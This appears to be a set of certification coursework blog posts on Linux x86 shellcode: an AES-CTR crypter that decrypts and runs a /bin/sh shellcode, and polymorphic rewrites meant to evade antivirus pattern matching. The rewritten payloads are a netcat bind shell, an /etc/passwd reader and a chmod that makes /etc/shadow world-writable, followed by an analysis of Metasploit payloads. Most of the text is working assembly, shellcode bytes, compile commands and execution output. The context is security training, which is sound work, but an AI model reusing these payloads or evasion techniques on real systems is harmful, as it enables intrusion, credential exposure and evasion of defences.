miércoles, 1 de noviembre de 2017

Assignment 7: Crypter (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Create a custom crypter like the one shown in the "crypters" video
  • Free to use any existing encryption schema
  • Can use any programming language

 

Solution

 

To complete the last exercise I have used the AES encryption algorithm with the block cipher mode CTR (Counter), one of the most recommended modes of encryption.

This mode turns a block cipher into a stream cipher. It generates the next keystream block by encrypting successive values of a "counter". To read more, go to Wikipedia

So, as I am very comfortable programming in Python, I have used this language to make my crypter/decrypter.

I have used a module that implement AES in Python, the module is pyaes
The installation of this module is very easy, and can be installed with pip.

$ pip install pyaes

I have created a command line program to generate the encrypted shellcode, and the same program using another arguments can be used to decrypt an encrypted shellcode.

#!/usr/bin/env python

import struct
import sys
import pyaes  
import os

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

# encrypt or decrypt
method = sys.argv[1]

# A 256 bit (32 byte) key
key = sys.argv[2]

encrypted_shellcode = ""
if method == 'decrypt':
 encrypted_shellcode = sys.argv[3]

if len(key) != 16 and len(key) != 32:
 print "[-] Error: Invalid key length"
 sys.exit(0)


counter = pyaes.Counter(initial_value = 100)
aes = pyaes.AESModeOfOperationCTR(key, counter = counter)


if (method == "encrypt"):
 encrypted_shellcode = aes.encrypt(shellcode)
 eShellcode = ""
 for x in bytearray(encrypted_shellcode) :
         eShellcode += '\\x'
         eShellcode += '%02x' % x
 print "[+] Encrypted shellcode: %s"%(eShellcode)
elif (method == "decrypt"):
 shellcode = aes.decrypt(encrypted_shellcode.decode("hex"))
        eShellcode = ""
        for x in bytearray(shellcode) :
                eShellcode += '\\x'
                eShellcode += '%02x' % x
 print "[*] Decrypted shellcode: %s"%eShellcode
 c_code = '''
#include          
#include         
           
unsigned char code[] =  \"%s\";        
           
int main() {          
 printf(\"Shellcode Length:  %%d\", strlen(code));    
 int (*ret)() = (int(*)())code;       
 ret();          
}           
'''%eShellcode
 f = open("shellcode.c","w")
 f.write(c_code)
 f.close()
 print "[*] Compiling shellcode.c\n%s"%c_code
 os.system("gcc -fno-stack-protector -z execstack shellcode.c -o shellcode")
 print "[+] Launching shellcode..."
 os.system("./shellcode")
The sintax to use the program:

To encrypt:
$ ./aes-ctr.py encrypt <16/32 bytes hex password>

To decrypt:
$ ./aes-ctr.py decrypr <16/32 bytes hex password> <encrypted shellcode>

Example of usage: 
$ ./aes-ctr.py encrypt 0123456789abcdef0123456789abcdef
[+] Encrypted shellcode: \xd3\xa0\xf8\xd2\xfa\xbf\x28\xfc\x6b\x0c\x0b\xc2\xee\x4c\x01\xd9\x69\xb8\xcd\x96\xb2\x28\x18\x5b\xb3
$ ./aes-ctr.py decrypt 0123456789abcdef0123456789abcdef d3a0f8d2fabf28fc6b0c0bc2ee4c01d969b8cd96b228185bb3
[*] Decrypted shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
[*] Compiling shellcode.c

#include          
#include         
           
unsigned char code[] =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";        
           
int main() {          
 printf("Shellcode Length:  %d", strlen(code));    
 int (*ret)() = (int(*)())code;       
 ret();          
}           

[+] Launching shellcode...
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$ 



Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment7

miércoles, 25 de octubre de 2017

Assignment 6: Polymorphic Shellcode (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing shellcodee  
  • Bonus points for making it shorter in length than original

Solution

I chose the shellcodes:
  1. Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode - Shellcode that listen on port 17771 and give a shell (/bin/sh)
  2. Linux x86 file reader - Shellcode that open a file and read it
  3. Linux/x86 chmod("/etc/shadow", 0666) shellcode

Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode


I downloaded, analyzed and create my polymorphic shellcode from http://shell-storm.org/shellcode/files/shellcode-872.php

Shellcode Analysis


It is a very easy shellcode where it is just using the execve syscall with the parameter "/bin/nc -le /bin/sh -vp 17771". So, We can see how is pushing the strings on the stack and saving the stack pointer on the registers.

    xor eax, eax
    xor edx, edx
    push eax
    push 0x31373737     ;-vp17771
    push 0x3170762d
    mov esi, esp
    push eax
    push 0x68732f2f     ;-le//bin//sh
    push 0x6e69622f
    push 0x2f656c2d
    mov edi, esp
    push eax
    push 0x636e2f2f     ;/bin//nc
    push 0x6e69622f
    mov ebx, esp

Just execute the execve syscall:
    push edx
    push esi
    push edi
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

Polymorphic Shellcode


Creating a polymorphic shellcode, I have used different methods. To the "-vp17771" I have used the mov instruction on the stack:
    mov dword [esp - 4], 0x31373737
    mov dword [esp - 8], 0x3170762d 
    sub esp, 8
    mov esi, esp

To do the "-le//bin//sh" I have used the push instruction but with a polymorphic calculation of the data, doing add and sub instructions:
    push eax 
    mov eax, 0x68732f2f
    push eax
    add eax, 0x5f63301
    sub eax, 1
    push eax
    sub eax, 0x3f03f602
    push eax

To do the "/bin/nc" I continued doing the add instruction to create the correct string (/bin/sh):
    push edx
    add eax, 0x3408c302
    push eax
    add eax, 0xafb3301
    sub eax, 1
    push eax
    mov ebx, esp
    mov eax, edx

So, the final shellcode is:
global _start
section .text
 _start:
    xor eax, eax
    mov edx, eax
    push eax
    ; push 0x31373737     ;-vp17771
    ; push 0x3170762d
    mov dword [esp - 4], 0x31373737
    mov dword [esp - 8], 0x3170762d 
    sub esp, 8
    mov esi, esp

    push eax 
    mov eax, 0x68732f2f
    push eax
    add eax, 0x5f63301
    sub eax, 1
    push eax
    sub eax, 0x3f03f602
    push eax
    ; mov dword [esp - 4], 0x68732f2f
    ; mov dword [esp - 8], 0x6e69622f
    ; mov dword [esp - 12], 0x2f656c2d
    ; sub esp, 12
    ; push 0x68732f2f     ;-le//bin//sh
    ; push 0x6e69622f
    ; push 0x2f656c2d
    mov edi, esp

    push edx
    ; push eax
    ; push 0x636e2f2f     ;/bin//nc
    ; push 0x6e69622f
    add eax, 0x3408c302
    push eax
    add eax, 0xafb3301
    sub eax, 1
    push eax
    mov ebx, esp
    mov eax, edx

    push edx
    push esi
    push edi
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

Compile, test and calcule the %:
$ nasm -f elf32 netcat.nasm -o netcat.o
$ ld netcat.o -o netcat
$ objdump -d ./netcat|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc2\x50\xc7\x44\x24\xfc\x37\x37\x37\x31\xc7\x44\x24\xf8\x2d\x76\x70\x31\x83\xec\x08\x89\xe6\x50\xb8\x2f\x2f\x73\x68\x50\x05\x01\x33\xf6\x05\x83\xe8\x01\x50\x2d\x02\xf6\x03\x3f\x50\x89\xe7\x52\x05\x02\xc3\x08\x34\x50\x05\x01\x33\xfb\x0a\x83\xe8\x01\x50\x89\xe3\x89\xd0\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"

$ cat netcat-new.c 
#include 
#include 

unsigned char shellcode[] =
"\x31\xc0\x89\xc2\x50\xc7\x44\x24\xfc\x37\x37\x37\x31\xc7\x44\x24\xf8\x2d\x76\x70\x31\x83\xec\x08\x89\xe6\x50\xb8\x2f\x2f\x73\x68\x50\x05\x01\x33\xf6\x05\x83\xe8\x01\x50\x2d\x02\xf6\x03\x3f\x50\x89\xe7\x52\x05\x02\xc3\x08\x34\x50\x05\x01\x33\xfb\x0a\x83\xe8\x01\x50\x89\xe3\x89\xd0\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

$ gcc -fno-stack-protector -z execstack netcat-new.c -o netcat-new
$ ./netcat-new 
Shellcode Length: 80
listening on [any] 17771 ...

Finally, we have a shellcode with length 80 and the original shellcode has length 58, so we have increased the shellcode 37.93%.

Linux x86 file reader


I got the shellcode from http://shell-storm.org/shellcode/files/shellcode-73.php

 

Shellcode Analysis


This shellcode uses the jump call pop technique to get the string with the file path, and it is using four syscalls, sys_open, sys_read, sys_write and sys_exit.

First, get the filename:


 jmp two
one:
 pop ebx
...
two:
 call one
 .string db "/etc/passwd"

Second, open the file and save the file descriptor:
 pop ebx
 mov al, 5
 xor ecx, ecx
 int 0x80
 mov esi, eax

Third, read and write character by character until EOF:
read:
 mov ebx, esi
 mov al, 3
 sub esp, 1
 lea ecx, [esp]
 mov dl, 1
 int 0x80

 xor ebx, ebx
 cmp ebx, eax
 je exit

 mov al, 4
 mov bl, 1
 mov dl, 1
 int 0x80
 
 add esp, 1
 jmp read

When EOF is reached, Exit syscall is executed
exit:
 mov al, 1
 xor ebx, ebx
 int 0x80

Polymorphic Shellcode


As our goal is to do the shellcode polymorphic and more undetectable to the AVs. We started encoding the filename string with a simple not encoder.

Encode string with NOTs:
$ echo -e 'import ctypes\nimport sys\nf="/etc/passwd"\nfor i in f:\n\tsys.stdout.write(hex(ctypes.c_uint8(~ord(i)).value)+",")\nsys.stdout.write("\\nLength: %s\\n"%len(f))' | python
0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b,
Length: 11

We still using the jump call pop technique, but we have to decode the filename.
 jmp two
one:
 pop ebx
 
 ; Decode string
 mov  cl, 11  ; File path length
decode:
 not byte [ebx]
 inc ebx
 loop decode
 sub  ebx, 11  ; Restore the address string
...
two:
 call one
 .string db 0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b ; Encoded string with not

After we open the file, read and write, as it is a polymorphic shellcode I have changed some values that they were static and now it is being generated in runtime. Final shellcode:
global _start


_start:
 xor eax, eax
 mov ebx, eax
 mov ecx, eax
 mov edx, eax
 jmp two



one:
 pop ebx
 
 ; Decode string
 mov  cl, 11  ; File path length
decode:
 not byte [ebx]
 inc ebx
 loop decode
 sub  ebx, 11  ; Restore the address string


 mov al, 5
 xor ecx, ecx
 int 0x80
 
 mov esi, eax
 jmp read

exit:
 mov al, dl   
 xor ebx, ebx
 int 0x80

read:
 mov ebx, esi
 mov al, 3
 sub esp, 1
 lea ecx, [esp]
 mov dl, 1
 int 0x80

 xor ebx, ebx
 cmp ebx, eax
 je exit

 mov bl, 1
 mov al, bl
 add al, 3
 mov dl, bl
 int 0x80
 
 add esp, 1
 jmp read

two:
 call one
 .string db 0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b ; Encoded string with not 

Compile, test and calcule the %:
$ nasm -f elf32 read.nasm -o read.o
$ ld read.o -o read
$ objdump -d ./read|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xeb\x3e\x5b\xb1\x0b\xf6\x13\x43\xe2\xfb\x83\xeb\x0b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\x88\xd0\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb3\x01\x88\xd8\x04\x03\x88\xda\xcd\x80\x83\xc4\x01\xeb\xdd\xe8\xbd\xff\xff\xff\xd0\x9a\x8b\x9c\xd0\x8f\x9e\x8c\x8c\x88\x9b"
$ cat read.c
#include 
#include 

unsigned char shellcode[] =
"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xeb\x3e\x5b\xb1\x0b\xf6\x13\x43\xe2\xfb\x83\xeb\x0b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\x88\xd0\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb3\x01\x88\xd8\x04\x03\x88\xda\xcd\x80\x83\xc4\x01\xeb\xdd\xe8\xbd\xff\xff\xff\xd0\x9a\x8b\x9c\xd0\x8f\x9e\x8c\x8c\x88\x9b";

main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

$ gcc -fno-stack-protector -e execstack read-new.c -o read-new
$ ./read-new 
Shellcode Length: 88
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
....

The original shellcode has 65 bytes + pathname, and our shellcode has 77 bytes + pathname, so we have increased the shellcode 18.46%


Linux/x86 chmod("/etc/shadow", 0666) shellcode


The following shellcode change the permissions of the /etc/shadow file using the syscall sys_chmod.

Shellcode Analysis


The sys_chmod syscall is 0xf, so, save in the eax register 0xf

  push byte 15
 pop eax
int chmod(const char *pathname, mode_t mode);

now, we need the pathname in ebx and the mode (666) in ecx.
/etc/shadow in ebx:

 push byte 0x77
 push word 0x6f64
 push 0x6168732f
 push 0x6374652f
 mov ebx, esp

666 in ecx:

 push word 0666Q
 pop ecx

After, just exec the syscall (In addition, the exit syscall is executed at the end):

 int 0x80
 push byte 1
 pop eax
 int 0x80

Polymorphic Shellcode


My polymorphic shellcode works same but it is generating the pathname on the way.

Saving the sys_chmod in eax:

 xor edx, edx
 xor eax, eax
 add eax, 0xf

Generating the pathname:
 mov ecx, 0x11
 add ecx, 0x66
 push ecx
 add ecx, 0x6eed
 push cx
 add ecx, 0x616803cb
 push ecx
 push 0x6374652f
 mov ebx, esp

Set the mode and run the syscall:
 xor ecx, ecx
 mov cx, 0x1b6
 int 0x80
 push byte 1
 pop eax
 int 0x80

Compile and run:
$ nasm -f elf32 chmod.nasm -o chmod.o
$ ld chmod.o -o chmod
$ objdump -d ./chmod|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x31\xc0\x83\xc0\x0f\x89\xd1\x52\xb1\x11\x80\xc1\x66\x51\x66\x81\xc1\xed\x6e\x66\x51\x81\xc1\xcb\x03\x68\x61\x51\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x66\xb9\xb6\x01\xcd\x80\x6a\x01\x58\xcd\x80"
$ cat chmod-new.c 
#include 
#include 

unsigned char shellcode[] =
"\x31\xd2\x31\xc0\x83\xc0\x0f\x89\xd1\x52\xb1\x11\x80\xc1\x66\x51\x66\x81\xc1\xed\x6e\x66\x51\x81\xc1\xcb\x03\x68\x61\x51\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x66\xb9\xb6\x01\xcd\x80\x6a\x01\x58\xcd\x80";

main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

# gcc -fno-stack-protector chmod-new.c -o chmod-new
# ls -la /etc/shadow
-rw-r----- 1 root shadow 1333 feb 21  2017 /etc/shadow
# ./chmod-new 
Shellcode Length: 50
# ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 1333 feb 21  2017 /etc/shadow

The original shellcode has 39 bytes and our shellcode has 50 bytes, so we have increased the shellcode 38.89%

Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment6

domingo, 16 de julio de 2017

Assignment 5: Metasploit Shellcode Analysis (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Take up at least 3 shellcode sambles created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode  
  • Present your analysis

 

Solution

I chose the shellcodes:
  1. linux/x86/chmod - Runs chmod on specified file with specified mode
  2. linux/x86/read_file - Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
  3. linux/x86/exec - Execute an arbitrary command

linux/x86/chmod

 For the first example, we added a file named "slae.txt" and our shellcode generated with metasploit would change the file permissions (0666).

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/chmod -a x86 FILE=slae.txt -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode

We dissasemble the shellcode with ndisasm and look the code:

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E809000000        call dword 0x13
0000000A  736C              jnc 0x78
0000000C  61                popad
0000000D  652E7478          cs jz 0x89
00000011  7400              jz 0x13
00000013  5B                pop ebx
00000014  68B6010000        push dword 0x1b6
00000019  59                pop ecx
0000001A  CD80              int 0x80
0000001C  6A01              push byte +0x1
0000001E  58                pop eax
0000001F  CD80              int 0x80


First, we analyze the shellcode with libemu to show which are the syscalls that the shellcode is called. For it, we looked the eax register before the int 0x80 instruction. Look the highlight (0x0f - chmod)

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | sctest -vvv -Ss 1000000
verbose = 3
[emu 0x0x8975078 debug ] cpu state    eip=0x00417000
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] cpu state    eip=0x00417000
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 99                              cwd 
[emu 0x0x8975078 debug ] cpu state    eip=0x00417001
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 6A0F                            push byte 0xf
[emu 0x0x8975078 debug ] cpu state    eip=0x00417003
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 58                              pop eax
[emu 0x0x8975078 debug ] cpu state    eip=0x00417004
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 52                              push edx
[emu 0x0x8975078 debug ] cpu state    eip=0x00417005
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] E809000000                      call 0xe
[emu 0x0x8975078 debug ] cpu state    eip=0x00417013
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 5B                              pop ebx
[emu 0x0x8975078 debug ] cpu state    eip=0x00417014
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 68B6010000                      push dword 0x1b6
[emu 0x0x8975078 debug ] cpu state    eip=0x00417019
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 59                              pop ecx
[emu 0x0x8975078 debug ] cpu state    eip=0x0041701a
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] CD80                            int 0x80
stepcount 8
[emu 0x0x8975078 debug ] cpu state    eip=0x0041701c
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 


hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | sctest -vvv -Ss 1000000 -G msf-chmod-shellcode.dot

Unfortunately, libemu doesn't recognize these syscalls, so, any graphic or source code in C language is shown.

Our last step, to undertstand this shellcode, it is debug the program, using gdb (and peda).

For this purpose, we generate the shellcode again, but this time, the output will be in C language, before, I am going to compile it.

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/chmod -a x86 FILE=slae.txt -f c -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
Final size of c file: 165 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode.c


We edit the msf-chmod-shellcode.c to compile as a program.

#include
#include

unsigned char code[] =
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x73\x6c\x61\x65\x2e"
"\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

And test it.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-chmod-shellcode.c -o msf-chmod-shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ chmod 000 slae.txt 
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ls -la slae.txt 
---------- 1 hiro hiro 16 abr 15 13:08 slae.txt
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-chmod-shellcode
Shellcode Length:  7
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ls -la slae.txt 
-rw-rw-rw- 1 hiro hiro 16 abr 15 13:08 slae.txt


The shellcode is working. Before the syscall we can look the registers eax, ebx and ecx.

 [----------------------------------registers-----------------------------------]
EAX: 0xf 
EBX: 0x804976a ("slae.txt")
ECX: 0x1b6 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff338 --> 0x0 
ESP: 0xbffff318 --> 0x0 
EIP: 0x804977a --> 0x16a80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049773 : pop    ebx
   0x8049774 : push   0x1b6
   0x8049779 : pop    ecx
=> 0x804977a : int    0x80
   0x804977c : push   0x1
   0x804977e : pop    eax
   0x804977f : int    0x80
   0x8049781 : add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff318 --> 0x0 
0004| 0xbffff31c --> 0x8048469 (
: mov ecx,DWORD PTR [ebp-0x4]) 0008| 0xbffff320 --> 0x1 0012| 0xbffff324 --> 0xbffff3e4 --> 0xbffff549 ("/home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode") 0016| 0xbffff328 --> 0xbffff3ec --> 0xbffff591 ("XDG_VTNR=7") 0020| 0xbffff32c --> 0x8049760 --> 0x580f6a99 0024| 0xbffff330 --> 0xb7fbf3c4 --> 0xb7fc01e0 --> 0x0 0028| 0xbffff334 --> 0xbffff350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804977a in code () gdb-peda$


Resume of how the shellcode works

The chmod syscall needs the following arguments:
int chmod(const char *pathname, mode_t mode);

so, eax register will be the syscall, 0xf, the pathname will be in ebx and the mode in ecx register.
It is very simple to understand shellcode.

linux/x86/read_file

 First, we generate the shellcode with the command:

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode
root@HackingLab:/opt/metasploit-framework# ls -la /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode  

Dissasemble the code with ndisasm

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-read_file-shellcode | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

We examinate the shellcode with libemu:

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-read_file-shellcode | sctest -vvv -Ss 1000000
verbose = 3
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417000
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417000
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] EB36                            jmp 0x38
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417038
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] E8C5FFFFFF                      call 0xffffffca
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417002
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
